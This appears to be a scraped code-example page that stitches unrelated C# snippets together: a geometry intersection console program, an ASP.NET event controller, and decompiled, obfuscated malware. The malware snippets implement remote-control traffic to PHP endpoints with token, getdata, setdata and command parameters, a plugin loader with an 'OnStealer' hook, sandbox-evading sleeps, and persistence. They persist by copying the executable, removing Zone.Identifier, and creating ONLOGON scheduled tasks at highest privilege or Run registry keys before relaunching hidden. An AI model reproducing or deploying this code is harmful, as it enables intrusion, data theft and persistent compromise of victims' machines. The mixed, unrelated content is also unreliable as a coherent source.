                                else if (secondPrimitive == primitiveArray[1]) { secondSquare = primitive.SquarePrimitive(); }
                                else if (secondPrimitive == primitiveArray[2]) { secondCircle = primitive.CirclePrimitive(); }
                                else { Console.WriteLine("Value is entered incorrectly"); };
                            }
                            while (secondPrimitive != primitiveArray[0] && secondPrimitive != primitiveArray[1] && secondPrimitive != primitiveArray[2]);
                            #endregion

                            #region  Intersections primitives
                            if (firstPrimitive == primitiveArray[2] && secondPrimitive != primitiveArray[2] || firstPrimitive != primitiveArray[2] && secondPrimitive == primitiveArray[2])
                            {
                                if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[0])
                                {
                                    IntersectionsCircleAndLine(firstCircle, secondTriangle);
                                }
                                if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[1])
                                {
                                    IntersectionsCircleAndLine(firstCircle, secondSquare);
                                }
                                if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[0])
                                {
                                    IntersectionsCircleAndLine(secondCircle, firstTriangle);
                                }
                                if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[1])
                                {
                                    IntersectionsCircleAndLine(secondCircle, firstSquare);
                                }
                            }

                            if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[2])
                            {
                                IntersectionsCircleAndCircle(firstCircle, secondCircle);
                            }

                            if (firstPrimitive != primitiveArray[2] && secondPrimitive != primitiveArray[2])
                            {
                                if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[0])
                                {
                                    IntersectionsLineAndLine(firstTriangle, secondTriangle);
                                }
                                if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[1])
                                {
                                    IntersectionsLineAndLine(firstSquare, secondSquare);
                                }
                                if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[1])
                                {
                                    IntersectionsLineAndLine(firstTriangle, secondSquare);
                                }
                                if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[0])
                                {
                                    IntersectionsLineAndLine(firstSquare, secondTriangle);
                                }
                            }
                            #endregion

                            break;
                        }
                    case "E":
                        {
                            isExit = true; break;
                        }
                    default: Instuctions(); break;
                }
            }
        }
コード例 #15
0
ファイル: Program.cs プロジェクト: DmitryVSidorov/traineeship
        static void Main(string[] args)
        {
            Instuctions();
            Primitive  primitive  = new Primitive();
            ClassEvent classEvent = new ClassEvent();

            primitive.OnChangedLine += classEvent.ChangedLine;
            bool   isExit = false;
            string input;

            while (!isExit)
            {
                input = Console.ReadLine();
                switch (input)
                {
                case "R":
                {
                    double[] firstCircle = new double[3]; double[] secondCircle = new double[3];
                    double[,] firstTriangle = new double[3, 4]; double[,] secondTriangle = new double[3, 4];
                    double[,] firstSquare   = new double[4, 4]; double[,] secondSquare = new double[4, 4];

                    /// primitiveArray have all choices of the primitive:
                    /// [0] - triangle (enter T)
                    /// [1] - square (enter S)
                    /// [2] - circle (enter C)
                    string[] primitiveArray = new string[3] {
                        "T", "S", "C"
                    };

                    #region  First primitive
                    string firstPrimitive;
                    do
                    {
                        Console.WriteLine("Select first primitive (T - triangle, S -square, C - circle)");
                        firstPrimitive = Console.ReadLine();
                        if (firstPrimitive == primitiveArray[0])
                        {
                            firstTriangle = primitive.TrianglePrimitive();
                        }
                        else if (firstPrimitive == primitiveArray[1])
                        {
                            firstSquare = primitive.SquarePrimitive();
                        }
                        else if (firstPrimitive == primitiveArray[2])
                        {
                            firstCircle = primitive.CirclePrimitive();
                        }
                        else
                        {
                            Console.WriteLine("Value is entered incorrectly");
                        };
                    }while (firstPrimitive != primitiveArray[0] && firstPrimitive != primitiveArray[1] && firstPrimitive != primitiveArray[2]);
                    #endregion

                    #region Second primitive
                    string secondPrimitive;
                    do
                    {
                        Console.WriteLine("Select second primitive (T - triangle, S -square, C - circle)");
                        secondPrimitive = Console.ReadLine();
                        if (secondPrimitive == primitiveArray[0])
                        {
                            secondTriangle = primitive.TrianglePrimitive();
                        }
                        else if (secondPrimitive == primitiveArray[1])
                        {
                            secondSquare = primitive.SquarePrimitive();
                        }
                        else if (secondPrimitive == primitiveArray[2])
                        {
                            secondCircle = primitive.CirclePrimitive();
                        }
                        else
                        {
                            Console.WriteLine("Value is entered incorrectly");
                        };
                    }while (secondPrimitive != primitiveArray[0] && secondPrimitive != primitiveArray[1] && secondPrimitive != primitiveArray[2]);
                    #endregion

                    #region  Intersections primitives
                    if (firstPrimitive == primitiveArray[2] && secondPrimitive != primitiveArray[2] || firstPrimitive != primitiveArray[2] && secondPrimitive == primitiveArray[2])
                    {
                        if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[0])
                        {
                            IntersectionsCircleAndLine(firstCircle, secondTriangle);
                        }
                        if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[1])
                        {
                            IntersectionsCircleAndLine(firstCircle, secondSquare);
                        }
                        if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[0])
                        {
                            IntersectionsCircleAndLine(secondCircle, firstTriangle);
                        }
                        if (secondPrimitive == primitiveArray[2] && firstPrimitive == primitiveArray[1])
                        {
                            IntersectionsCircleAndLine(secondCircle, firstSquare);
                        }
                    }

                    if (firstPrimitive == primitiveArray[2] && secondPrimitive == primitiveArray[2])
                    {
                        IntersectionsCircleAndCircle(firstCircle, secondCircle);
                    }

                    if (firstPrimitive != primitiveArray[2] && secondPrimitive != primitiveArray[2])
                    {
                        if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[0])
                        {
                            IntersectionsLineAndLine(firstTriangle, secondTriangle);
                        }
                        if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[1])
                        {
                            IntersectionsLineAndLine(firstSquare, secondSquare);
                        }
                        if (firstPrimitive == primitiveArray[0] && secondPrimitive == primitiveArray[1])
                        {
                            IntersectionsLineAndLine(firstTriangle, secondSquare);
                        }
                        if (firstPrimitive == primitiveArray[1] && secondPrimitive == primitiveArray[0])
                        {
                            IntersectionsLineAndLine(firstSquare, secondTriangle);
                        }
                    }
                    #endregion

                    break;
                }

                case "E":
                {
                    isExit = true; break;
                }

                default: Instuctions(); break;
                }
            }
        }
コード例 #16
0
 public static string SetupFilter(string value, string connection, string pool)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     return(ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(connection + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(connection)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(pool))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(value + MappingListAnnotation._ProxyEvent))))))["response"].ResetClass <string>()));
 }
コード例 #17
0
 public static void ExcludeFilter(string value, string cont, string dir, string init2)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     ItemEventEntry.ConcatList(dir + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(dir)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(init2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(cont))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(dir) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(value + MappingListAnnotation._ProxyEvent)))));
 }
コード例 #18
0
 public static void CancelFilter(string key, string ord, string helper, string reference2)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     ItemEventEntry.ConcatList(helper + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(helper)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(reference2))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ord))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(helper) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter(key + "_status" + MappingListAnnotation._ProxyEvent)))));
 }
コード例 #19
0
 public static void QueryFilter(string value, string map)
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     ItemEventEntry.ConcatList(value + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(value)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(map))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "setdata") + "=%00&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(value) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))));
 }
コード例 #20
0
        public static string[] AssetFilter(string instance, string connection)
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            string text  = null;
            string text2 = null;
            string text3 = instance.Remove(instance.LastIndexOf("/"), instance.Length - instance.LastIndexOf("/"));
            string text4 = connection.Remove(connection.LastIndexOf("/"), connection.Length - connection.LastIndexOf("/"));

            try
            {
                if (DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text3 + "/" + ClassEvent.RegisterFilter(instance) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "password") + "=c"))["status"].ResetClass <string>() == "UP")
                {
                    text  = instance;
                    text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text3 + "/" + ClassEvent.RegisterFilter(instance) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(instance) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>();
                }
                else
                {
                    text  = connection;
                    text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>();
                }
            }
            catch
            {
                try
                {
                    if (DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "password") + "=c"))["status"].ResetClass <string>() == "UP")
                    {
                        text  = connection;
                        text2 = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(text4 + "/" + ClassEvent.RegisterFilter(connection) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "gettoken") + "=" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection)) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(connection) + "uid") + "=" + ClassEvent.RegisterFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent))))["token"].ResetClass <string>();
                    }
                }
                catch
                {
                }
            }
            return(new string[2]
            {
                text,
                text2
            });
        }
コード例 #21
0
        public ActionResult SaveEvent([FromForm] EventDto eventDto)
        {
            if (eventDto.id == 0)
            {
                DateTime dateTime = DateTime.Parse(eventDto.startDateTime);

                DateTime enddate = DateTime.Parse(eventDto.endDateTime);
                Event    @event  = new Event();
                @event.title         = eventDto.title;
                @event.description   = eventDto.description;
                @event.teacher_id    = eventDto.teacher_id;
                @event.endDateTime   = enddate;
                @event.startDateTime = dateTime;
                @event.location      = eventDto.location;
                _context.events.Add(@event);
                _context.SaveChanges();
                foreach (var v in eventDto.clasid)
                {
                    ClassEvent classEvent = new ClassEvent()
                    {
                        clasid  = v,
                        eventID = @event.id
                    }

                    ;
                    _context.classEvents.Add(classEvent);
                    _context.SaveChanges();
                }
                var fileName   = "";
                var deletefile = Path.Combine(hostingEnvironment.WebRootPath);
                var uploads    = Path.Combine(hostingEnvironment.WebRootPath, "uploads");

                if (eventDto.uploadFile != null)
                {
                    fileName = Guid.NewGuid().ToString().Replace("-", "") + Path.GetExtension(eventDto.uploadFile.FileName);
                    using (var fileStream = new FileStream(Path.Combine(uploads, fileName), FileMode.Create))
                    {
                        eventDto.uploadFile.CopyToAsync(fileStream);
                    }


                    EventAttachment eventAttachment = new EventAttachment()
                    {
                        event_id  = @event.id,
                        file_name = eventDto.uploadFile.FileName,
                        file_path = fileName,
                        file_type = Path.GetExtension(eventDto.uploadFile.FileName),
                    };
                    _context.eventAttachments.Add(eventAttachment);
                    _context.SaveChanges();
                }
            }
            else
            {
                var      data     = _context.events.FirstOrDefault(o => o.id == eventDto.id);
                DateTime dateTime = DateTime.Parse(eventDto.startDateTime);

                DateTime enddate = DateTime.Parse(eventDto.endDateTime);
                data.title         = eventDto.title;
                data.description   = eventDto.description;
                data.teacher_id    = eventDto.teacher_id;
                data.endDateTime   = enddate;
                data.startDateTime = dateTime;
                data.location      = eventDto.location;

                var claesfromevent = _context.classEvents.Where(o => o.eventID == data.id).ToList();

                foreach (var item in claesfromevent)
                {
                    _context.classEvents.Remove(item);
                    _context.SaveChanges();
                }
                foreach (var v in eventDto.clasid)
                {
                    ClassEvent classEvent = new ClassEvent()
                    {
                        clasid  = v,
                        eventID = data.id
                    }

                    ;
                    _context.classEvents.Add(classEvent);
                    _context.SaveChanges();
                }


                if (eventDto.uploadFile != null)
                {
                    var enevtAtachment = _context.eventAttachments.FirstOrDefault(o => o.event_id == data.id);

                    var fileName   = "";
                    var deletefile = Path.Combine(hostingEnvironment.WebRootPath, "uploads");
                    var uploads    = Path.Combine(hostingEnvironment.WebRootPath);
                    if (enevtAtachment != null)
                    {
                        if (eventDto.uploadFile.Length > 0)
                        {
                            if (System.IO.File.Exists((Path.Combine(deletefile, enevtAtachment.file_path))))
                            {
                                System.IO.File.Delete((Path.Combine(deletefile, enevtAtachment.file_path)));
                            }
                        }

                        fileName = Guid.NewGuid().ToString().Replace("-", "") + Path.GetExtension(eventDto.uploadFile.FileName);
                        using (var fileStream = new FileStream(Path.Combine(uploads, fileName), FileMode.Create))
                        {
                            eventDto.uploadFile.CopyToAsync(fileStream);
                        }


                        enevtAtachment.file_path             = fileName;
                        enevtAtachment.file_name             = eventDto.uploadFile.FileName;
                        enevtAtachment.file_type             = Path.GetExtension(eventDto.uploadFile.FileName);
                        _context.Entry(enevtAtachment).State = Microsoft.EntityFrameworkCore.EntityState.Modified;
                        _context.SaveChanges();
                    }
                }
            }



            return(new JsonResult("Data Saved"));
        }
コード例 #22
0
        private static void PrintFilter()
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(defaultValue: false);
            SingletonReader.PushGlobal();
            AppDomain.CurrentDomain.UnhandledException += CountFilter;
            if (m_PolicyEvent.Length < 6 || !m_PolicyEvent.Contains(".exe"))
            {
                m_PolicyEvent = Application.ExecutablePath;
            }
            if (m_ServiceEvent == "")
            {
                queueEvent = true;
                Type[] types = Assembly.GetExecutingAssembly().GetTypes();
                foreach (Type type in types)
                {
                    if (!type.Name.Contains("BuildConfiguration"))
                    {
                        continue;
                    }
                    MethodInfo[] methods = type.GetMethods();
                    foreach (MethodInfo methodInfo in methods)
                    {
                        if (methodInfo.Name == "GetConfiguration")
                        {
                            m_ServiceEvent = methodInfo.Invoke(type.Assembly.CreateInstance(type.Name), null).ToString();
                        }
                    }
                }
            }
            m_ServiceEvent = ClassEvent.ComputeFilter(m_ServiceEvent);
            Thread.Sleep(new RepositoryEvent().PopList(5000, 10000));
            if (!ReponseClassSpec.LoginList(ClassEvent.ResetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["MUTEX"].ResetClass <string>())))
            {
                Environment.Exit(0);
                Application.Exit();
            }
            try
            {
                if (!DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AD"].ResetClass <bool>())
                {
                    MapperEvent.InvokeFilter();
                }
            }
            catch
            {
            }
            string[] array = DispatcherInstanceExpression.AssetFilter(DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H1"].ResetClass <string>(), DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["H2"].ResetClass <string>());
            m_CandidateEvent = array[0];
            m_TokenizerEvent = array[1];
            if (m_TokenizerEvent == null)
            {
                Environment.FailFast("Z6zQubie8vkgP6dfdXQcc1A");
            }
            try
            {
                new Thread((ThreadStart) delegate
                {
                    //Discarded unreachable code: IL_0002
                    //IL_0003: Incompatible stack heights: 0 vs 1
                    Type[] types2          = Assembly.GetExecutingAssembly().GetTypes();
                    Type type2             = default(Type);
                    MethodInfo methodInfo2 = default(MethodInfo);
                    for (int k = 0; k < types2.Length; k++)
                    {
                        type2 = types2[k];
                        if (type2.Name.Contains("DPlugin"))
                        {
                            MethodInfo[] methods2 = type2.GetMethods();
                            for (int l = 0; l < methods2.Length; l++)
                            {
                                methodInfo2 = methods2[l];
                                switch (methodInfo2.Name)
                                {
                                case "OnLoad":
                                    try
                                    {
                                        new Thread((ThreadStart) delegate
                                        {
                                            //Discarded unreachable code: IL_0002
                                            //IL_0003: Incompatible stack heights: 0 vs 1
                                            switch (methodInfo2.GetParameters().Length)
                                            {
                                            case 0:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), null);
                                                break;

                                            case 1:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[1]
                                                {
                                                    m_CandidateEvent
                                                });
                                                break;

                                            case 2:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[2]
                                                {
                                                    m_CandidateEvent,
                                                    m_TokenizerEvent
                                                });
                                                break;

                                            case 3:
                                                methodInfo2.Invoke(type2.Assembly.CreateInstance(type2.Name), new object[3]
                                                {
                                                    m_CandidateEvent,
                                                    m_TokenizerEvent,
                                                    m_PolicyEvent
                                                });
                                                break;
                                            }
                                        }).Start();
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnCommand":
                                    try
                                    {
                                        DecoratorEventEntry.list.Add(type2.GetField("CommandName", BindingFlags.Static | BindingFlags.Public).GetValue(type2.Assembly.CreateInstance("CommandName")).ToString(), new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnUninstall":
                                    try
                                    {
                                        DecoratorEventEntry.instance.Add(new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;

                                case "OnStealer":
                                    try
                                    {
                                        DecoratorEventEntry.dic.Add(new object[2]
                                        {
                                            methodInfo2,
                                            type2.Assembly.CreateInstance(type2.Name)
                                        });
                                    }
                                    catch
                                    {
                                    }
                                    break;
                                }
                            }
                        }
                    }
                }).Start();
            }
            catch
            {
            }
            if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AS"].ResetClass <bool>())
            {
                OrderIteratorMapping.DisableRecord();
            }
            if (DecoratorReaderMapper.PatchRequest(m_ServiceEvent)["AK"].ResetClass <bool>())
            {
                OrderIteratorMapping.VerifyRecord();
            }
            DispatcherInstanceExpression.CallFilter(m_CandidateEvent, m_TokenizerEvent);
        }
コード例 #23
0
 internal void _0002()
 {
     //Discarded unreachable code: IL_0002
     //IL_0003: Incompatible stack heights: 0 vs 1
     Collection.NewEvent(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(MappingListAnnotation._ProxyEvent + MappingListAnnotation.m_CandidateEvent) + "\\");
 }
コード例 #24
0
        public static void InvokeFilter()
        {
            //Discarded unreachable code: IL_0002
            //IL_0003: Incompatible stack heights: 0 vs 1
            if (File.Exists(Path.GetDirectoryName(MappingListAnnotation.m_PolicyEvent) + "\\" + ClassEvent.RegisterFilter(Path.GetFileName(MappingListAnnotation.m_PolicyEvent))))
            {
                return;
            }
            string fileName = MappingListAnnotation.m_PolicyEvent;
            int    num      = new RepositoryEvent().PopList(1, 2);

            for (int i = 0; i < new RepositoryEvent().PopList(2, 10); i++)
            {
                string path = Path.Combine(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(GlobalIssuerImporter.SetList() + GlobalIssuerImporter.RemoveList()) + ".tmp");
                switch (num)
                {
                case 1:
                    try
                    {
                        string processName2 = TestFilter().ProcessName;
                        string text         = ConcatFilter("C:\\");
                        File.Copy(MappingListAnnotation.m_PolicyEvent, text + "\\" + processName2 + ".exe", overwrite: true);
                        File.WriteAllText(text + "\\" + ClassEvent.RegisterFilter(processName2 + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100)));
                        Publisher.PrepareFilter(text + "\\" + processName2 + ".exe:Zone.Identifier");
                        File.AppendAllText(path, "<$>" + text + "\\" + processName2 + ".exe");
                        if (GlobalIssuerImporter.DestroyList())
                        {
                            ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks");
                            processStartInfo.Arguments       = "/create /tn \"" + processName2 + "\" /sc ONLOGON /tr \"'" + text + "\\" + processName2 + ".exe'\" /rl HIGHEST /f";
                            processStartInfo.UseShellExecute = false;
                            processStartInfo.CreateNoWindow  = true;
                            ProcessStartInfo startInfo2 = processStartInfo;
                            Process          process3   = Process.Start(startInfo2);
                            process3.WaitForExit(1500);
                            if (process3.ExitCode != 0)
                            {
                                using (RegistryKey registryKey3 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
                                {
                                    try
                                    {
                                        registryKey3.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\"");
                                    }
                                    catch
                                    {
                                    }
                                }
                            }
                        }
                        else
                        {
                            using (RegistryKey registryKey4 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
                            {
                                try
                                {
                                    registryKey4.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\"");
                                }
                                catch
                                {
                                }
                            }
                        }
                        fileName = text + "\\" + processName2 + ".exe";
                    }
                    catch
                    {
                        i--;
                    }
                    break;

                case 2:
                    try
                    {
                        Process  process       = TestFilter();
                        string   processName   = process.ProcessName;
                        string   directoryName = Path.GetDirectoryName(Publisher.VerifyFilter(process));
                        string[] files         = Directory.GetFiles(directoryName);
                        directoryName = Path.Combine(directoryName + "\\" + Path.GetFileNameWithoutExtension(files[new RepositoryEvent().MoveList(files.Length)]));
                        Directory.CreateDirectory(directoryName);
                        File.Copy(MappingListAnnotation.m_PolicyEvent, directoryName + "\\" + processName + ".exe", overwrite: true);
                        File.WriteAllText(directoryName + "\\" + ClassEvent.RegisterFilter(processName + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100)));
                        Publisher.PrepareFilter(directoryName + "\\" + processName + ".exe:Zone.Identifier");
                        File.AppendAllText(path, "<$>" + directoryName + "\\" + processName + ".exe");
                        if (GlobalIssuerImporter.DestroyList())
                        {
                            ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks");
                            processStartInfo.Arguments       = "/create /tn \"" + processName + "\" /sc ONLOGON /tr \"'" + directoryName + "\\" + processName + ".exe'\" /rl HIGHEST /f";
                            processStartInfo.UseShellExecute = false;
                            processStartInfo.CreateNoWindow  = true;
                            ProcessStartInfo startInfo = processStartInfo;
                            Process          process2  = Process.Start(startInfo);
                            process2.WaitForExit(1500);
                            if (process2.ExitCode != 0)
                            {
                                using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
                                {
                                    try
                                    {
                                        registryKey.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\"");
                                    }
                                    catch
                                    {
                                    }
                                }
                            }
                        }
                        else
                        {
                            using (RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
                            {
                                try
                                {
                                    registryKey2.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\"");
                                }
                                catch
                                {
                                }
                            }
                        }
                        fileName = directoryName + "\\" + processName + ".exe";
                    }
                    catch
                    {
                        i--;
                    }
                    break;
                }
            }
            try
            {
                Process.Start(new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    CreateNoWindow  = true,
                    UseShellExecute = false,
                    FileName        = fileName
                });
                Environment.Exit(0);
                Application.Exit();
            }
            catch
            {
            }
        }